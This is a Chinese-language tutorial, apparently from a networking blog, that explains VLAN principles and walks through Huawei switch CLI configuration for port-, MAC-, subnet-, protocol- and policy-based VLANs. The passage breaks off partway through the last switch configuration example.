当前位置: 首页 > news >正文

华为交换机入门(六):VLAN的配置

VLAN(Virtual Local Area Network)即虚拟局域网,是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。VLAN内的主机间可以直接通信,而VLAN间不能直接互通,从而将广播报文限制在一个VLAN内。

VLAN 主要用来解决如何将大型网络划分为多个小网络,隔离原本在同一个物理LAN中的不同主机间的二层通信,以使广播流量不会占据更多带宽资源,同时也提高网段间的安全性,因为广播域缩小了,广播风暴产生的可能性也大大降低了。

在LAN通信中有许多通信都会产生广播数据帧的,如ARP在MAC地址寻址时会产生广播数据帧、DHCP服务器在为客户端自动分配IP地址时也会产生许多广播数据帧。还有许多病毒也会产生许多广播数据帧。
在物理LAN中,各主机是可以直接通过网络体系结构中的第二层,即数据链路层进行通信的,但划分VLAN后,不同VLAN中的主机是不可以直接通过第二层进行通信的,必须通过第三层,即网络层

虽然在交换式网络中相对以集线器为集中设备的共享式网络来说缩小了冲突域,同时在非全交换全双工模式的以太网络中通过CSMA/CD技术提供了冲突避免解决方案,但依然没有解决缩小广播域的问题。

LAN内的广播数据帧仍然可以在整个 LAN 内广播,会引起网络性能的下降,浪费宝贵的带宽资源,且其影响随着广播域的增大而迅速增强。

此时唯一有效的途经就是重新划分LAN,把单一结构的大LAN划分成相互逻辑独立的小型虚拟LAN,这就是VLAN技术产生的背景。

参考资料:计算机网络基础

一、vlan的工作原理

(一)同一物理交换机中的VLAN形成原理理解

VLAN的形成原理关键就是要理解“虚拟”这两个字。“虚拟”表示VLAN所组成的是一个虚拟,或者说是逻辑 LAN,并不是一个物理 LAN。

通过不同的划分规则把连接的交换机上的各个用户主机划分到不同的 VLAN 中,同一个交换机中划分的各个VLAN 可以理解为一个个虚拟交换机。

在这里插入图片描述
如图所示的物理交换机中就划分了5个VLAN,相当于有5个相互只有逻辑连接关系的虚拟交换机。

其实只要把一个 VLAN 看成一台交换机,就比较好理解了,因为虚拟交换机与物理交换机具有许多相同的基本属性。同一物理交换机上的不同VLAN之间就像永远不可能有物理连接,只有逻辑连接的不同物理交换机一样。

既然没有物理连接,那不同VLAN肯定是不能直接相互通信的,即使这些不同VLAN中的成员都处于同一IP网段,因为不同VLAN间的二层通信是隔离了的,只能通过更高的三层进行相互通信。

(二)同一物理交换机中的VLAN形成原理理解

因为一个VLAN中成员计算机不是依据成员的物理位置来划分的,所以这些成员计算机通常连接在网络中的不同交换机上,这样才更显示出 VLAN 切分的灵活性和实用性。也就是说一个VLAN可以跨越多台物理交换机,这就是VLAN的中继(Trunk)功能。
在这里插入图片描述
这时就不要总按照物理交换机来看待用户主机的分布了,而要从逻辑的VLAN角度来看待了。

如图就不是把它当成两台物理交换机,而是把它当成是五台(VLAN 1、VLAN 2、VLAN 3、VLAN 4和VLAN 5)仅存在逻辑连接关系,但两台物理交换机中相同的 VLAN 间有相互物理连接关系的虚拟交换机了。
在这里插入图片描述

在同一物理交换机上不可能存在两个相同的VLAN,而在不同交换机上可以有相同的VLAN,而且这些不同物理交换机上的相同VLAN间一般情况下是可以直接互访的。

当然这得要求:
1.它们都位于同一个IP网段
2.物理交换机连接的端口上允许这些VLAN数据包通过。

不仅如此,如果位于不同交换机上的两个不同VLAN处于同一个IP网段,且交换机间连接的两个端口是分别隶属通信双方VLAN的Access端口,或者不带VLAN标签的Hybrid端口,则这两个VLAN间也是可以直接通信的。

(三)认识VLAN标签

VLAN是二层协议,对应于 IEEE 802.1q标准。这样一来,在二层的数据帧中会打上所属VLAN的标签,这就是 IEEE 802.1q标签(Tag),也就是通常所说的VLAN标签。

在这里插入图片描述
每台支持802.1Q协议的交换机发送的数据包都会包含VLAN ID,以指明交换机属于哪一个VLAN。因此,在一个VLAN交换网络中,以太网帧有以下两种形式:

  • 有标记帧(tagged frame):加入了4字节802.1Q Tag的帧
  • 无标记帧(untagged frame):原始的、未加入4字节802.1Q Tag的帧

802.1Q Tag包含4个字段,各字段解释如表1所示:
在这里插入图片描述

VLAN Identified”(VLAN标识)字段,占 12位,指明VLAN的ID,取值范围为 0~4 095,共4 096个,但由于 0和4 095为协议保留取值,所以VLAN ID的实际有效取值范围是 1~4 094。每个进入支持 802.1q协议的交换机发送出来的数据包都会包含这个域,以指明自己属于哪一个VLAN。

(四)二层以太网端口

在华为交换机中主要包括 Access(访问)、Trunk(干道)和 Hybrid(混合)、QinQ这4种二层以太网端口。

(1)Access端口

Access端口主要是用来连接用户主机的二层以太网端口。它有一种最主要的特性是仅允许一个VLAN的帧通过,反过来也就是Access端口仅可以加入一个VLAN中,且Access端口发送的以太网帧永远是Untagged(不带标签)的。

(2)Trunk端口

Trunk端口是用来连接与其他交换机的二层以太网端口。它的最主要特性是允许多个 VLAN 的帧通过,并且所发送的以太网帧都是带标签的,除了发送VLAN ID与PVID(Port Default VLAN ID,端口缺省VLAN ID)一致的VLAN帧。

(3)Hybrid端口。

Hybrid端口可以说是以上Access端口和Trunk端口的混合体,它们具有共同的特性,是一种特殊的二层以太网端口。正因如此,Hybrid端口既可以连接用户主机,又可以连接其他交换机、路由器设备。同时 Hybrid 端口又允许一个或多个VLAN的帧通过,并可选择以带标签或者不带标签的方式发送数据帧。

(4)QinQ端口

QinQ端口是专用于QinQ协议的二层以太网端口。它可以给数据帧加上双层VLAN标签,即在原来标签的基础上,给帧加上一个新的标签,从而可以支持多达4094×4 094个VLAN,满足企业用户网络对VLAN数量更高的需求。S1700和S2700SI不支持QinQ类型端口。

在这里插入图片描述

【经验之谈】这里所说的数据帧“收”是指交换机端口接收从对端设备发来的数据帧,而不是接收从交换机内部的另一个端口发来的数据帧,因为在交换机内部传输的数据帧都是带有VLAN标签的,无论是从哪种交换机端口发来的数据帧。
同理,这里所说的数据帧“发”是指从交换机端口向对端设备发送数据帧,而不是指本地交换机中一个端口向另一个交换机端口发送数据帧。这一点要特别注意,否则很难理解这些端口的数据接收、发送规则。

(五)链路类型

Access、Trunk和Hybrid这三种以太网端口所形成的链路又可归纳成两种以太网链路:接入链路(Access Link)和干道链路(Trunk Link)。

  • 接入链路(Access Link):用于连接用户主机和交换机的链路。通常情况下,主机并不需要知道自己属于哪个VLAN,主机硬件通常也不能识别带有VLAN标记的帧。因此,主机发送和接收的帧都是untagged帧。
  • 干道链路(Trunk Link):用于交换机间的互连或交换机与路由器之间的连接。干道链路可以承载多个不同VLAN数据,数据帧在干道链路传输时,干道链路的两端设备需要能够识别数据帧属于哪个VLAN,所以在干道链路上传输的帧都是Tagged帧。

在这里插入图片描述
交换机在接收到帧后,会根据对应端口类型采取相应的数据收、发处理。如果帧需要通过另一台交换机转发,则该帧必须通过干道链路透传到对端交换设备上。

为了保证其他交换设备能够正确处理帧中的VLAN信息,在干道链路上传输的帧必须打上VLAN标签。当交换机最终确定帧出端口后,在将帧发送给主机前需要将 VLAN 标签从帧中删除,这样主机接收到的帧都是不带VLAN标签的以太网帧,也只有这样主机才可能识别。

所以一般情况下,干道链路上传输的都是带VLAN标签的帧,接入链路上传输的都是不带 VLAN 标签的帧。这样处理的好处是网络中配置的 VLAN 信息可以被所有交换设备正确处理,而主机不需要了解VLAN信息。

(六)vlan的划分

VLAN 最基本的配置是划分 VLAN,VLAN 划分成功后即可实现不同 VLAN 内用户的二层隔离,达到缩小广播域的目的。

华为交换机可支持以下 5 种 VLAN 划分方式:基于端口划分、基于MAC地址划分、基于子网划分、基于协议划分、基于策略划分。
在这里插入图片描述
优先级:
如果一交换机上同时配置了以上多种方式划分的VLAN,则对于具体的用户主机来说将按以下从高到低的优先级顺序采用最终的 VLAN 划分方式:基于匹配策略划分 VLAN→基于MAC地址划分VLAN和基于子网划分VLAN→基于协议划分VLAN→基于端口划分VLAN。

(六)VLAN间通信

1.VLAN内跨越交换机通信原理

有时属于同一个VLAN的用户主机被连接在不同的交换机上。当VLAN跨越交换机时,就需要交换机间的接口能够同时识别和发送跨越交换机的VLAN报文。这时,需要用到Trunk Link技术。
这时,需要用到Trunk Link技术。

Trunk Link有两个作用:

  • 中继作用
    把VLAN报文透传到互联的交换机。

  • 干线作用
    一条Trunk Link上可以传输多个VLAN的报文。
    在这里插入图片描述

在如图所示的网络中,为了让DeviceA和DeviceB之间的链路既支持VLAN2内的用户通讯又支持VLAN3内的用户通讯,需要配置连接接口同时加入两个VLAN。即应配置DeviceA的以太网接口Port2和DeviceB的以太网接口Port1同时加入VLAN2和VLAN3。

当用户主机Host A发送数据给用户主机Host B时,数据帧的发送过程如下:

  1. 数据帧首先到达DeviceA的接口Port4。
  2. 接口Port4给数据帧加上Tag,Tag的VID字段填入该接口所属的VLAN的编号2。
  3. DeviceA查询自己的MAC地址表中是否存在目的地址为Host B的MAC地址的转发表项。
    – 如果存在,DeviceA将数据帧转发给接口Port2。
    – 如果不存在,DeviceA会将数据帧发送到本设备上除port4接口外的所有属于VLAN2的接口。
  4. 接口Port2将帧转发到DeviceB上。
  5. DeviceB收到数据帧后,会查询自己的MAC地址表中是否存在目的地址为Host B的MAC地址的转发表项。
    – 如果存在,DeviceB会将数据帧发送给出接口Port3。
    – 如果不存在,DeviceB会将数据帧发送到本设备上除port1接口外的所有属于VLAN2的接口。
  6. 接口Port3将数据帧发送给主机Host B。

2.VLAN间通信原理

一般情况下不同 VLAN 是不能直接进行通信的,因为 VLAN 间缺省是二层隔离的,但有时又需要不同VLAN中的用户进行通信。
华为S系列交换机提供了3种实现VLAN间通信的解决方案:

  • 三层VLANIF接口方案
  • 三层以太网子接口方案
  • VLAN Switch(VLAN交换)方案。

在这里插入图片描述
VLANIF接口的三层交换技术是将路由技术与交换技术合二为一的技术,在交换机内部实现了路由,提高了网络的整体性能。三层交换机通过路由表传输第一个数据流后,会产生一个MAC地址与IP地址的映射表。当同样的数据流再次通过时,将根据此表直接从二层通过而不是通过三层,从而消除了路由器进行路由选择而造成的网络延迟,提高了数据包转发效率。

为了保证第一次数据流通过路由表正常转发,路由表中必须有正确的路由表项。因此必须在三层交换机上部署三层接口并部署路由协议,实现三层路由可达。VLANIF接口由此而产生。

主机A和C的通信过程如下:

  1. 主机A将主机C的IP地址和自己所在网段进行比较,发现主机C和自己不在同一个子网。
  2. 主机A发送ARP请求给自己的网关Device,请求网关的MAC地址。
  3. Device收到该ARP请求后,返回ARP应答报文,报文中源MAC地址为VLANIF2的MAC地址。
  4. 主机A学习到网关的MAC地址。
  5. 主机A向网关发送目的MAC为VLANIF接口MAC地址、目的IP为主机C的IP地址的报文。
  6. Device收到该报文后进行三层转发,发现主机C的IP地址为直连路由,报文将通过VLANIF3接口进行转发。
  7. Device作为VLAN3内主机的网关,向VLAN3内发送一个ARP广播,请求主机C的MAC地址。
  8. 主机C收到网关发送的ARP广播后,对此请求进行ARP应答。
  9. 网关收到主机C的应答后,就把主机A的报文发送给主机C。主机A之后要发给C的报文都先发送给网关,由网关做三层转发。

二、基于端口划分VLAN

基于端口 VLAN 划分方式是最常用,也是最简单的 VLAN 划分方式,是把交换机端口静态地划分到某一个或多个具体的 VLAN 中,是一种静态 VLAN 划分方式。

注意:因为VLAN是二层协议,所以仅可以把二层以太网端口(包括物理以太网端
口和Eth-Trunk聚合链路口)划分到VLAN中。虽然华为交换机中的以太网端口可以转换成三层模式,但仍不能直接配置IP地址。

(一)配置基于端口划分VLAN

基于端口划分VLAN是最简单,也是最常用的一种VLAN划分方式。它的划分思想就是通过把连接用户计算机的交换机端口指定到具体的 VLAN(是“交换机端口”与“VLAN“间的映射,不考虑用户计算机上任何配置)中来实现用户计算机的VLAN加入。

1.配置思路

(1)创建所需的VLAN:如果VLAN已创建好,则此可直接略过。
(2)配置端口类型:基于端口划分VLAN时可以加入Access、Trunk和Hybrid这三种二层以太网端口。但要注意的是,在华为交换机中,二层以太网端口缺省情况下是Hybrid类型的,并且以不带标签方式加入VLAN 1。
(3)把端口加入VLAN中:这是把用户计算机连接的交换机二层以太网端口加入你所期望并且已创建好的VLAN中。

2.配置步骤

常用配置步骤:

# 进入系统视图
system-view
# 创建VLAN并进入VLAN视图
vlan 2
# 返回系统视图
quit
# 进入要加入vlan的接口视图
interface g 0/0/1
# 配置二层以太网接口的端口的类型,可为access、trunk、hybrid,可多选
port link-type access trunk
# 配置access类型的端口加入到指定的vlan中
port default vlan 2
# 配置trunk类型的端口加入
port trunk allow-pass vlan 2 to 10
# 当接口为trunk类型时,必须配置默认vlan,因为交换机内部必须有vlan标签才能进行转发
port trunk pvid vlan 5

(二)基于端口划分VLAN的配置案例

为了通信的安全性,同时为了避免广播风暴,企业希望业务相同用户之间可以互相访问,业务不同用户不能直接访问。

可以在交换机上配置基于接口划分VLAN,把业务相同的用户连接的接口划分到同一VLAN。这样属于不同VLAN的用户不能直接进行二层通信,同一VLAN内的用户可以直接互相通信。
在这里插入图片描述
(1)在SwitchA创建VLAN2和VLAN3,并将连接用户的接口分别加入VLAN。SwitchB的配置与SwitchA类似,不再赘述。

<HUAWEI> system-view
[HUAWEI] sysname SwitchA
[SwitchA] vlan batch 2 3
[SwitchA] interface gigabitethernet 0/0/1
[SwitchA-GigabitEthernet0/0/1] port link-type access
[SwitchA-GigabitEthernet0/0/1] port default vlan 2
[SwitchA-GigabitEthernet0/0/1] quit
[SwitchA] interface gigabitethernet 0/0/2
[SwitchA-GigabitEthernet0/0/2] port link-type access
[SwitchA-GigabitEthernet0/0/2] port default vlan 3
[SwitchA-GigabitEthernet0/0/2] quit

(2)配置SwitchA上与SwitchB连接的接口类型及通过的VLAN。SwitchB的配置与SwitchA类似,不再赘述。

[SwitchA] interface gigabitethernet 0/0/3
[SwitchA-GigabitEthernet0/0/3] port link-type trunk
[SwitchA-GigabitEthernet0/0/3] port trunk allow-pass vlan 2 3

(3)验证配置结果
将User1和User2配置在一个网段,比如192.168.100.0/24;将User3和User4配置在一个网段,比如192.168.200.0/24。

User1和User2能够互相ping通,但是均不能ping通User3和User4。User3和User4能够互相ping通,但是均不能ping通User1和User2。

三、基于MAC地址划分VLAN

基于MAC地址的VLAN划分方式是一种动态VLAN划分方式。它的划分思想是把用户计算机网卡上的MAC地址配置与某个VLAN进行关联,这样就可以实现无论该用户计算机连接在哪台交换机的二层以太网端口上都将保持所属的 VLAN不变。

注意:基于MAC地址的VLAN划分方式只能在Hybrid交换机端口上进行,不能对其他类型端口上连接的用户计算机采用这种VLAN划分方式。

(一)基本配置思路

(1)创建要用于与用户主机MAC地址关联的VLAN。
(2)在以上创建的VLAN视图下关联用户MAC地址,建立MAC地址与VLAN的映射表,以确定哪些用户MAC地址可划分到以上创建的VLAN中。
(3)配置各用户连接的交换机二层以太网端口类型为Hybrid,并允许前面创建的基于 MAC 地址划分的 VLAN以不带 VLAN标签方式通过当前端口。因为华为交换机的所有二层以太网端口缺省都是 Hybrid 类型,所以缺省情况下,端口类型是不用配置的。(4)在Hybrid交换机端口上(注意,不一定要在连接用户计算机的Hybrid端口上配置)使能基于MAC地址划分VLAN功能,完成基于MAC地址划分VLAN。

(二)配置步骤

# 进入系统视图,创建VLAN并进入VLAN视图
system-view
vlan 2
# 建立MAC地址与VLAN的映射表,并返回系统视图
mac-vlan mac-address 22-33-44
quit
# 配置端口为Hybrid属性,使能基于MAC地址划分VLAN功能
interface g 0/0/1
port link-type hybrid
port hybrid untagged vlan 2 to 10
mac-vlan enable

(三)配置案例

某个公司的网络中,网络管理者将同一部门的员工划分到同一VLAN。为了提高部门内的信息安全,要求只有本部门员工的PC才可以访问公司网络。
如图所示,PC1、PC2、PC3为本部门员工的PC,要求这几台PC可以通过Switch访问公司网络,如换成其他PC则不能访问。
可以配置基于MAC地址划分VLAN,将本部门员工PC的MAC地址与VLAN绑定,从而实现该需求。

在这里插入图片描述
(1)配置Switch

# 创建VLAN
<HUAWEI> system-view
[HUAWEI] sysname Switch
[Switch] vlan batch 10
# 配置接口加入VLAN。GE0/0/3、GE0/0/4的配置与GE0/0/2类似,不再赘述。
[Switch] interface gigabitethernet 0/0/1
[Switch-GigabitEthernet0/0/1] port link-type hybrid
[Switch-GigabitEthernet0/0/1] port hybrid tagged vlan 10
[Switch-GigabitEthernet0/0/1] quit
[Switch] interface gigabitethernet 0/0/2
[Switch-GigabitEthernet1/0/2] port link-type hybrid
[Switch-GigabitEthernet0/0/2] port hybrid untagged vlan 10
[Switch-GigabitEthernet0/0/2] quit
# PC的MAC地址与VLAN10关联
[Switch] vlan 10
[Switch-vlan10] mac-vlan mac-address 22-22-22
[Switch-vlan10] mac-vlan mac-address 33-33-33
[Switch-vlan10] mac-vlan mac-address 44-44-44
[Switch-vlan10] quit
# 使能接口的基于MAC地址划分VLAN功能,GE0/0/3、GE0/0/4的配置与GE0/0/2类似,不再赘述。
[Switch] interface gigabitethernet 0/0/2
[Switch-GigabitEthernet0/0/2] mac-vlan enable
[Switch-GigabitEthernet0/0/2] quit

(2)检查配置结果
PC1、PC2、PC3可以访问公司网络,如换成其他外来人员的PC则不能访问。

四、基于IP子网划分VLAN

基于子网划分VLAN是基于数据帧中上层(网络层)IP地址或所属IP网段进行的VLAN划分,属于动态 VLAN 划分方式,既可减少手工配置 VLAN 的工作量,又可保证用户自由地增加、移动和修改。

基于子网划分VLAN适用于对安全性需求不高,对移动性和简易管理需求较高的场景中。基于子网VLAN的划分思想是把用户计算机网卡上的IP地址配置与某个VLAN 进行关联,这样与上节介绍的基于MAC地址划分VLAN一样,也可以实现无论该用户计算机连接在哪台交换机的二层以太网端口上都将保持所属的VLAN不变。

(一)配置思路

基于IP子网划分VLAN的配置思路与基于MAC地址划分VLAN的配置思路基本一样,只是把匹配的MAC地址换成IP地址,具体如下。
(1)创建用于与用户主机MAC地址关联的VLAN。
(2)在以上创建的VLAN视图下关联用户IP地址,建立IP地址与VLAN的映射表,以确定哪些用户IP地址可划分到以上创建的VLAN中。
(3)配置各用户连接的交换机二层以太网端口类型为 Hybrid,并允许前面创建的基于IP地址划分的VLAN以不带VLAN标签方式通过当前端口。因为华为交换机的所有二层以太网端口缺省都是Hybrid类型,所以缺省情况下,端口类型是不用配置的。
(4)在Hybrid交换机端口上(注意,不一定要在连接用户计算机的Hybrid端口上)使能基于IP地址划分VLAN功能,完成基于IP地址划分VLAN。

(二)配置案例

某企业拥有多种业务,如IPTV、VoIP、Internet等,每种业务使用的IP地址网段各不相同。为了便于管理,现需要将同一种类型业务划分到同一VLAN中,不同类型的业务划分到不同VLAN中。

如图所示,Switch接收到用户报文有数据、IPTV、语音等多种业务,用户设备的IP地址网段各不相同。现需要将不同类型的业务划分到不同的VLAN中,通过不同的VLAN ID分流到不同的远端服务器上以实现业务互通。

在这里插入图片描述

配置思路主要有两点注意:一是这是基于IP子网进行的VLAN划分,二是从Switch 上出去的数据帧要流向不同的服务器,这就需要在不同服务器所连接的交换机端口上配置仅允许某一个VLAN的数据帧通过。

(1)创建VLAN

# 在Switch上创建VLAN100、VLAN200和VLAN300。
<HUAWEI> system-view
[HUAWEI] sysname Switch
[Switch] vlan batch 100 200 300

(2)配置接口

# 在Switch上配置接口GE0/0/5、GE0/0/6、GE0/0/7为Hybrid类型,分别以untagged方式加入VLAN100、VLAN200和VLAN300。并使能基于IP子网划分VLAN功能。
[Switch] interface gigabitethernet 0/0/5
[Switch-GigabitEthernet0/0/5] port link-type hybrid
[Switch-GigabitEthernet0/0/5] port hybrid untagged vlan 100
[Switch-GigabitEthernet0/0/5] ip-subnet-vlan enable
[Switch-GigabitEthernet0/0/5] quit
[Switch] interface gigabitethernet 0/0/6
[Switch-GigabitEthernet0/0/6] port link-type hybrid
[Switch-GigabitEthernet0/0/6] port hybrid untagged vlan 200
[Switch-GigabitEthernet0/0/6] ip-subnet-vlan enable
[Switch-GigabitEthernet0/0/6] quit
[Switch] interface gigabitethernet 0/0/7
[Switch-GigabitEthernet0/0/7] port link-type hybrid
[Switch-GigabitEthernet0/0/7] port hybrid untagged vlan 300
[Switch-GigabitEthernet0/0/7] ip-subnet-vlan enable
[Switch-GigabitEthernet0/0/7] quit
# 在Switch上配置接口GE0/0/2加入VLAN100。
[Switch] interface gigabitethernet 0/0/2
[Switch-GigabitEthernet0/0/2] port link-type trunk
[Switch-GigabitEthernet0/0/2] port trunk allow-pass vlan 100
[Switch-GigabitEthernet0/0/2] quit
# 在Switch上配置接口GE0/0/3加入VLAN200。
[Switch] interface gigabitethernet 0/0/3
[Switch-GigabitEthernet0/0/3] port link-type trunk
[Switch-GigabitEthernet0/0/3] port trunk allow-pass vlan 200
[Switch-GigabitEthernet0/0/3] quit
# 在Switch上配置接口GE0/0/4加入VLAN300。
[Switch] interface gigabitethernet 0/0/4
[Switch-GigabitEthernet0/0/4] port link-type trunk
[Switch-GigabitEthernet0/0/4] port trunk allow-pass vlan 300
[Switch-GigabitEthernet0/0/4] quit

(3)配置基于IP子网划分VLAN

# 在Switch上配置VLAN100与IP地址192.168.1.2/24关联,优先级为2。
[Switch] vlan 100
[Switch-vlan100] ip-subnet-vlan 1 ip 192.168.1.2 24 priority 2
[Switch-vlan100] quit
# 在Switch上配置VLAN200与IP地址192.168.2.2/24关联,优先级为3。
[Switch] vlan 200
[Switch-vlan200] ip-subnet-vlan 1 ip 192.168.2.2 24 priority 3
[Switch-vlan200] quit
# 在Switch上配置VLAN300与IP地址192.168.3.2/24关联,优先级为4。
[Switch] vlan 300
[Switch-vlan300] ip-subnet-vlan 1 ip 192.168.3.2 24 priority 4
[Switch-vlan300] quit

(4)验证配置结果

# 在Switch上执行以下命令,显示信息如下:
[Switch] display ip-subnet-vlan vlan all
----------------------------------------------------------------Vlan    Index   IpAddress           SubnetMask          Priority----------------------------------------------------------------100     1       192.168.1.2         255.255.255.0       2200     1       192.168.2.2         255.255.255.0       3300     1       192.168.3.2         255.255.255.0       4----------------------------------------------------------------ip-subnet-vlan count: 3                  total count: 3 

五、基于协议划分VLAN

基于协议 VLAN 的划分思想是把用户计算机上运行的网络层协议与某个 VLAN 进行关联,这样也可以实现无论该用户计算机连接在哪台交换机的二层以太网端口上都将保持其所属的 VLAN 不变。

启用基于协议划分 VLAN 功能后,当交换机端口接收到Untagged帧时,先识别帧的协议模板,然后确定数据帧所属的VLAN。如果端口配置了属于某些协议VLAN,且数据帧的协议模板匹配其中某个协议VLAN,则给数据帧打上该协议VLAN标签。如果端口原来配置了属于某些协议VLAN,但某次到达的数据帧的协议模板和所有协议VLAN都不匹配,则给数据帧打上端口PVID的VLAN标签。

1.配置思路

因为基于协议划分VLAN是根据不同的网络层协议进行的,所以需要事先创建不同网络层协议与 VLAN 的映射表项,同时还要在交换机 Hybrid 端口上配置与对应的协议VLAN进行关联,以限定交换机端口仅可以加入特定的协议VLAN中。具体如下。

(1)创建各网络层协议所需关联的VLAN。
(2)在以上创建的VLAN视图下关联用户所用的网络层协议类型,建立网络层协议与VLAN的映射表,以确定哪些用户可划分到以上创建的VLAN中。
(3)配置各用户连接的交换机二层以太网端口类型为Hybrid,并允许前面创建的基于协议划分的 VLAN 以不带 VLAN 标签方式通过当前端口。因为华为交换机的所有二层以太网端口缺省都是Hybrid类型,所以缺省情况下,端口类型是不用配置的。
(4)配置交换机 Hybrid端口与对应的协议 VLAN 进行关联。这样,当有关联的协议数据帧进入所关联的端口时,系统自动为该协议数据帧分配已经划分好的VLAN ID。

2.配置案例

某企业拥有多种业务,如IPTV、VoIP、Internet等,每种业务所采用的协议各不相同。为了便于管理,现需要将同一种类型业务划分到同一VLAN中,不同类型的业务划分到不同VLAN中。

如图所示,Switch收到的用户报文有多种业务,所采用的协议各不相同。VLAN10中的用户采用IPv4协议与远端用户通信,而VLAN20中的用户采用IPv6协议与远端服务器通信。现需要将不同类型的业务划分到不同的VLAN中,通过不同的VLAN ID分流到不同的远端服务器上以实现业务互通。
在这里插入图片描述
(1)创建VLAN

<HUAWEI> system-view
[HUAWEI] sysname Switch1
[Switch1] vlan batch 10 20

(2)配置基于协议划分VLAN

# 在Switch1上配置VLAN10与协议IPv4关联。
[Switch1] vlan 10
[Switch1-vlan10] protocol-vlan ipv4
[Switch1-vlan10] quit
# 在Switch1上配置VLAN20与协议IPv6关联。
[Switch1] vlan 20
[Switch1-vlan20] protocol-vlan ipv6
[Switch1-vlan20] quit

(3)配置接口关联协议VLAN

# 在Switch1上配置接口GE0/0/2与VLAN10关联,优先级是5。
[Switch1] interface gigabitethernet 0/0/2
[Switch1-GigabitEthernet0/0/2] protocol-vlan vlan 10 all priority 5
[Switch1-GigabitEthernet0/0/2] quit
# 在Switch1上配置接口GE0/0/3与VLAN20关联,优先级是6。
[Switch1] interface gigabitethernet 0/0/3
[Switch1-GigabitEthernet0/0/3] protocol-vlan vlan 20 all priority 6
[Switch1-GigabitEthernet0/0/3] quit

(4)配置接口

# 在Switch1上配置接口GE0/0/1允许VLAN10和VLAN20通过。
[Switch1] interface gigabitethernet 0/0/1
[Switch1-GigabitEthernet0/0/1] port link-type trunk
[Switch1-GigabitEthernet0/0/1] port trunk allow-pass vlan 10 20
[Switch1-GigabitEthernet0/0/1] quit
# 在Switch1上配置接口GE0/0/2以untagged方式允许VLAN10通过。
[Switch1] interface gigabitethernet 0/0/2
[Switch1-GigabitEthernet0/0/2] port link-type hybrid
[Switch1-GigabitEthernet0/0/2] port hybrid untagged vlan 10
[Switch1-GigabitEthernet0/0/2] quit
# 在Switch1上配置接口GE0/0/3以untagged方式允许VLAN20通过。
[Switch1] interface gigabitethernet 0/0/3
[Switch1-GigabitEthernet0/0/3] port link-type hybrid
[Switch1-GigabitEthernet0/0/3] port hybrid untagged vlan 20
[Switch1-GigabitEthernet0/0/3] quit
# 在Switch上配置接口GE0/0/1允许VLAN10和VLAN20通过。
<HUAWEI> system-view
[HUAWEI] sysname Switch
[Switch] interface gigabitethernet 0/0/1
[Switch-GigabitEthernet0/0/1] port link-type trunk
[Switch-GigabitEthernet0/0/1] port trunk allow-pass vlan 10 20
[Switch-GigabitEthernet0/0/1] quit
# 在Switch上配置接口GE0/0/2允许VLAN10通过。
[Switch] interface gigabitethernet 0/0/2
[Switch-GigabitEthernet0/0/2] port link-type trunk
[Switch-GigabitEthernet0/0/2] port trunk allow-pass vlan 10
[Switch-GigabitEthernet0/0/2] quit
# 在Switch上配置接口GE0/0/3允许VLAN20通过。
[Switch] interface gigabitethernet 0/0/3
[Switch-GigabitEthernet0/0/3] port link-type trunk
[Switch-GigabitEthernet0/0/3] port trunk allow-pass vlan 20
[Switch-GigabitEthernet0/0/3] return

(5)验证配置结果
上述配置完成后,在Switch1上执行命令display protocol-vlan interface all,可以查看接口关联基于协议划分VLAN的配置信息。

[Switch1] display protocol-vlan interface all
-------------------------------------------------------------------------------Interface                VLAN    Index        Protocol Type           Priority
-------------------------------------------------------------------------------GigabitEthernet0/0/2     10      0            IPv4                    5GigabitEthernet0/0/3     20      0            IPv6                    6

六、基于策略划分VLAN

基于策略划分VLAN是指在交换机上绑定终端的MAC地址、IP地址或交换机端口,并与VLAN关联,以证实只有符合条件的终端才能加入指定VLAN。
符合策略的终端才可以加入指定的VLAN,相当于采用了IP地址与MAC地址双重绑定,甚至再加上与所连接的交换机端口的三重绑定,一旦配置就可以禁止用户修改IP地址或MAC地址,甚至禁止改变所连接的交换机端口,否则会导致终端从指定VLAN中退出,可能访问不了指定的网络资源。

1.配置思路

(1)创建各策略所需关联的VLAN。
(2)在以上创建的 VLAN 视图下关联不同的策略,建立特定策略与 VLAN 的映射表,以确定哪些用户可划分到以上创建的VLAN中。
(3)配置各用户连接的交换机二层以太网端口类型为 Hybrid,并允许前面创建的基于策略划分的 VLAN 以不带 VLAN 标签方式通过当前端口。因为华为交换机的所有二层以太网端口缺省都是Hybrid类型,所以缺省情况下,端口类型是不用配置的。

2.配置案例

如图,现要把User1(MAC地址为1-1-1,IP地址为1.1.1.1)绑定在SwitchA的GE1/0/1端口上,把User2(MAC地址为2-2-2,IP地址为2.2.2.2)绑定在 SwitchB的GE1/0/1端口上,并把它们划分到VLAN 2中;把User3(MAC地址为3-3-3,IP地址为3.3.3.3)绑定在SwitchA的GE1/0/2端口上,把User4(MAC地址为4-4-4, IP地址为4.4.4.4)绑定在SwitchB的GE1/0/2端口上,并把它们划分到VLAN 3中。
在这里插入图片描述

(1)创建所需的策略协议VLAN 2和VLAN 3。

<HUAWEI>system-view
<HUAWEI>sysname SwitchA
[SwitchA] vlan batch 2 3

(2)配置MAC地址、IP地址和交换机端口组合策略与以上策略VLAN的关联,并为两个协议VLAN设置不同的802.1q的优先级值。

[SwitchA] vlan 2
[SwitchA-vlan2] policy-vlan mac-address 1-1-1 ip 1.1.1.1 gigabitEthernet1/0/1 priority 7
[SwitchA-vlan2] quit
[SwitchA] vlan 3
[SwitchA-vlan20] policy-vlan mac-address 3-3-3 ip 3.3.3.3 gigabitEthernet1/0/2 priority 5
[SwitchA-vlan20] quit

(3)配置交换机端口类型并允许对应的策略VLAN通过。

[SwitchA] interface gigabitethernet 1/0/1
[SwitchA-GigabitEthernet1/0/1] port link-type hybrid
[SwitchA-GigabitEthernet1/0/1] port hybrid Untagged vlan 2
[SwitchA-GigabitEthernet1/0/1] quit
[SwitchA] interface gigabitethernet 1/0/2
[SwitchA-GigabitEthernet1/0/2] port link-type trunk
[SwitchA-GigabitEthernet1/0/2] port trunk allow-pass vlan 3
[SwitchA-GigabitEthernet1/0/2] quit
# SwitchB上的配置:
<HUAWEI>system-view
<HUAWEI>sysname SwitchB
[SwitchB] vlan batch 2 3
[SwitchB] vlan 2
[SwitchB -vlan2] policy-vlan mac-address 2-2-2 ip 2.2.2.2 gigabitEthernet1/0/1 priority 7
[SwitchB -vlan2] quit
[SwitchB] vlan 3
[SwitchB -vlan20] policy-vlan mac-address 4-4-4 ip 4.4.4.4 gigabitEthernet1/0/2priority 5
[SwitchB-vlan20] quit
[SwitchB] interface gigabitethernet 1/0/1
